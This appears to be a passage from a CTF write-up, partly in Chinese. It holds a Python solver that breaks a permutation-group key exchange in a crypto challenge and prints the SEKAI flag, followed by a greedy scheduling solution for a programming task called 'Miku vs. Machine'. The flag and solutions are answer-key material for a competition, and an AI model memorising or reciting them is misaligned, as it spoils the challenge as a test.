alice says 1200023343219513263382590595000530709398044680494887232151068706332454900457993992785528158990834544878450058108341045830600802696148032561205251770283666006973167393948548197072049425715808993347674584378538883200268601390915839644385525216204736891481357328537881870321049952052453132654798693784947466776387
bob says 1272441200473454987001701625665347128998267676768270586334850447786321082063417203439895347670890554611411858488237562330644466912578982684875984076535384996939506416271097344882332314135242565253987938022938597663163369675849841691494448925864719322424546037485802787986584090093449519504693373904532207187504
'''
random.seed(CIPHER_SUITE)
GSIZE = 8209
GNUM = 79
LIM = GSIZE ** GNUM


def gen(n):
    p, i = [0] * n, 0
    for j in random.sample(range(1, n), n - 1):
        p[i], i = j, j
    return tuple(p)


def gexp(g, e):
    res = tuple(g)
    while e:
        if e & 1:
            res = tuple(res[i] for i in g)
        e >>= 1
        g = tuple(g[i] for i in g)
    return res


def dec(k, res, G):
    if not G:
        return [0]
    mod = len(G[0])
    return dec(k // mod, res[1:], G[1:])+[gexp(G[0], k % mod).index(res[0])]


def inverse(perm):
    res = list(perm)
    for i, v in enumerate(perm):
        res[v] = i
    return res


G = [gen(GSIZE) for i in range(GNUM)]


def key_mod_8029(res):
    a=[]
    while (res):
        a.append(res%8209)
        res//=8209
    return a


def key_replay(res):
    a=0
    for i in res:
        a=a*8209+i
    return a

def dec1(res,key,G):
    a=[]
    if not G:
        return [0]
    for i in range(8209):
        if gexp(G[0],i)[key%8209]==res[0]:
            print(i)
            a.append(i)
    return dec1(res[1:],key//8209 ,G[1:])

res = key_mod_8029(a1)
alice_key = key_replay(dec(b1, res, G))
res = key_mod_8029(b2)
bob_key = key_replay(dec(a1, res, [inverse(i) for i in G]))
res = key_mod_8029(b1)
dec1(res, bob_key, G)
a=(1936, 714, 7902, 2862, 958, 7, 4555, 5113, 5926, 3030, 2805, 6103, 3321, 7057, 2739, 2296, 6778, 5992, 2412, 5540, 7484, 5352, 6431, 2590, 6637, 4527, 4162, 5863, 1497, 2802, 4281, 4730, 7675, 1481, 6999, 6708, 1748, 3712, 126, 8111, 8071, 3535, 6725, 6717, 2231, 3087, 6844, 2080, 7716, 3681, 5834, 5903, 5666, 7767, 1112, 4696, 4728, 4675, 4655, 3456, 5558, 3019, 908, 7959, 5845, 2384, 4362, 2173, 5657, 604, 7247, 6713, 307, 5, 0, 0, 0, 0, 0)
FLAG = key_replay(reversed(a))
print(FLAG)
print(long_to_bytes(FLAG))
for i in range(20):
    print(long_to_bytes(FLAG>>i))

SEKAI{7c124c1b2aebfd9e439ca1c742d26b9577924b5a1823378028c3ed59d7ad92d1}

Miku vs. Machine

n是人数,m是场数,l是每场演出时间

根据测试用例进行fuzz,发现校验的时候只需要满足每个人歌手的演出时间相同且每场演出换人次数小于等于一即可,演出时间自己定,假设每个歌手的总演出时间为x,那么要满足nx%m==0且ml = nx,所以直接取x=m,l=n,然后每个人依次安排即可

def miku_vs_machine(t, cases):
    results = []
    for n, m in cases:
        # print(f"n {n}, m {m}")
        a1 = [0 for i in range(n+1)]
        idx = 0
        t = 1
        q = n
        print(n)
        for i in range(m):
            if a1[idx] + n < m:
                a1[idx] += n
                print(f"{n} {idx+1} 0 {idx+1}")
            elif a1[idx] + n >= m:
                p = m-a1[idx]
                print(f"{p} {idx+1} ",end="")
                idx += 1
                a1[idx] += n - p
                if idx+1>n:
                    print(f"{a1[idx]} {idx}")
                else:
                    print(f"{a1[idx]} {idx+1}")
t = int(input())
cases = []
for _ in range(t):
    n, m = map(int, input().split())
    cases.append((n, m))

output = miku_vs_machine(t, cases)